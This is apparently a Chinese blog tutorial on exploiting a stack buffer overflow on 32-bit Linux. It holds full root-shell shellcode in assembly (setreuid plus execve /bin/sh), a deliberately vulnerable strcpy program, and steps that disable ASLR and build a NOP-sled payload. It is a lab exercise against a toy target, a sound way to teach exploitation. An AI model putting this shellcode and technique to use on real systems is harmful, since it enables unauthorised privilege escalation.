linux缓冲区溢出漏洞软件,linux 下实现缓冲区溢出漏洞shellcode

1. shellcode编写

所谓的shellcode,就是通过一段机器代码,获取到shell命令行。shellcode可以通过多种方式获得,比如裸写16进制代码(一般很少有人这么干。。。),

常见的还是写汇编代码,然后转换成机器代码。

这里分享一个简单的shellcode生成过程,首先编写汇编代码,如下:

;setreuid

;char *shell[2];

;shell[0] = "/bin/sh"

;shell[1] = "0"

;execve(shell[0], shell, NULL)

;nasm -f elf shellcode32.asm

;ld -m elf_i386 -o shellcode32 shellcode32.o

BITS 32

section .text

global _start

_start:

;setreuid(0, 0)

xor eax, eax

mov al, 0x46

xor ebx, ebx

xor ecx, ecx

int 0x80

;spawn shellcode with execve

xor eax, eax ;clears the eax register, sets to 0

push eax ;push a NULL value on the stack, value of eax

push 0x68732f2f;push '//sh' onto the stack, padded with leading '/' for 4bytes align

push 0x6e69622f;push '/bin' onto the stack, notice strings in reverse

mov ebx, esp ;since esp now points to "/bin//sh", write to ebx

push eax ;eax is still NULL, let's terminate char **argv on stack

push ebx ;still need a pointer to the address of '/bin//sh' , use ebx

mov ecx, esp ;now esp holds the address of argv, move it to ecx

xor edx, edx ;set edx to zero

mov al, 0xb ;set syscall to execve

int 0x80 ;call syscall

然后验证一下代码是否可行,如下图所示:

0818b9ca8b590ca3270a3433284dd417.png

现在可以提取16进制机器码:nasm -f bin shellcode32.asm -o sc.bin

2. 存在缓冲区溢出漏洞的程序overflow.c

#include

#include

int main(int argc, char **argv)

{

char p[300];

char name[400];

strcpy(name, argv[1]);

}

3. 如何利用缓存区溢出漏洞

首先需要了解x86的函数调用和栈的内存布局情况

栈是从高地址向低地址增长,函数调用的时候会首先按照逆序把参数压入栈中,接下来会把eip压入栈中,最后调用call把控制权交给函数执行。函数执行完成后,会将所占用的栈清空,并从栈中弹出保存eip,这样eip仍然保存了要执行的下一条指令。

那么缓冲区漏洞利用,就是利用栈的向下增长的特性。如果函数中的变量溢出,那么就会向高地址溢出,从而覆盖掉eip,当函数返回的时候,就会跳转到改动后的eip处执行。

正常的内存结构:

|——————————————————————————————————|————|————|

| 可能溢出的缓冲区                                                | EBP   | EIP    |

|——————————————————————————————————|————|————|

被利用后的内存结构:

|————————————————————|——————————|————————————|

| 大量的NOP指令                        |shellcode          |重复的地址             |

|————————————————————|——————————|————————————|

这里的NOP指令,就是0x90,CPU遇到这种指令什么都不做,继续执行下一条指令。

重复的地址应该在NOP指令所处的地址范围内,这样当函数返回后,eip指向NOP,之后会继续运行,直到运行到shellcode部分。

4.实例

echo "0" > /proc/sys/kernel/randomize_va_space  关闭进制地址空间随机化

gcc -g -m32 -z execstack overflow.c -o overflow  编译存在漏洞的程序,允许栈上可执行,开启调试。

tingw:~/program/x86/c/exploit/test # cat get_esp.c

#include

unsigned int get_sp(void)

{

__asm__("movl %esp, %eax");

}

int main()

{

printf("Stack pronter (ESP):0x%x\n", get_sp());

}

通过上面的代码,获取进程的初始堆栈:

tingw:~/program/x86/c/exploit/test # gcc -m32 -o get_esp get_esp.c

tingw:~/program/x86/c/exploit/test # ./get_esp

Stack pronter (ESP):0xffffd484

tingw:~/program/x86/c/exploit/test #

现在我们调试overlfow,传入超过400自己的参数,直到eip值被覆盖,如下图所示:

0818b9ca8b590ca3270a3433284dd417.png

从图中我们可以看出,当输入内容达到700字节的时候,返回地址eip就已经被"A"(0x41)所覆盖了。这样一来我们就可以把输入的字符串长度为700,shellcode为第一步中得到的sc.bin。

我们看一下sc.bin的长度为35字节,如下图所示:

0818b9ca8b590ca3270a3433284dd417.png

这样NOP指令和重复地址的长度总和为(700-35)= 665

根据上面获得的esp地址为0xffffd484,那么为了使得eip落在NOP指令中,我们可以选择重复地址为(0xffffd484-700-环境变量占用的空间)左右,我们选取为0xffffd0cf

为了使这个地址尽可能的落在NOP区域,我们将NOP指令选择为433字节,剩余的232字节(665-433)存储地址。

这样这个缓存区的构造为:

433字节的NOP + 35字节的shellcode + 58个4字节的地址。

我们看一下运行效果,如下图所示(由于x86是小端字节序,所以需要以0xcf0xd00xff0xff的形式存储):

0818b9ca8b590ca3270a3433284dd417.png

shellcode正确执行了。。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值